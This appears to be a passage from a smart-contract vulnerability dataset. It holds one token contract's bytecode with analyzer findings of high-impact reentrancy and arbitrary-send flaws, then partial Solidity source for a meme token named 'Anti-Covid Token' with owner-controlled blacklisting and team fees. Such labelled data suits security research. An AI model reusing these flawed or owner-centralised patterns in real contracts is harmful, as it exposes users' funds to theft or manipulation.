0390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4853424146000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5c565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133d9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613332565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c1565b6040518363ffffffff1660e01b8152600401610df9929190612dac565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dfe565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dd5565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a37565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f5c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f1c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612edc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f7c565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ebc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f3c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90612efc565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff602a83613141565b9150612c0a826134ab565b604082019050919050565b6000612c22602283613141565b9150612c2d826134fa565b604082019050919050565b6000612c45601b83613141565b9150612c5082613549565b602082019050919050565b6000612c68601d83613141565b9150612c7382613572565b602082019050919050565b6000612c8b602183613141565b9150612c968261359b565b604082019050919050565b6000612cae602083613141565b9150612cb9826135ea565b602082019050919050565b6000612cd1602983613141565b9150612cdc82613613565b604082019050919050565b6000612cf4602583613141565b9150612cff82613662565b604082019050919050565b6000612d17602483613141565b9150612d22826136b1565b604082019050919050565b6000612d3a601783613141565b9150612d4582613700565b602082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e206020830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ab21e77e10d91459a0b3b925cd222698e9ed2f925d9923d744cf903ace1ba3464736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 963 |
0xdCbb12A5B8F3ec38649bd477331DcF9422DfCFAd | /*
Meme Necromancy While U Wait - Elon Musk
Join our community -> https://t.me/necromancerinu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AntiCovid is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anti-Covid Token";
string private constant _symbol = "VACCINE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _covidReliefFund;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable buybackAddr) {
_covidReliefFund = devFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_covidReliefFund] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
if (block.number == launchBlock) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
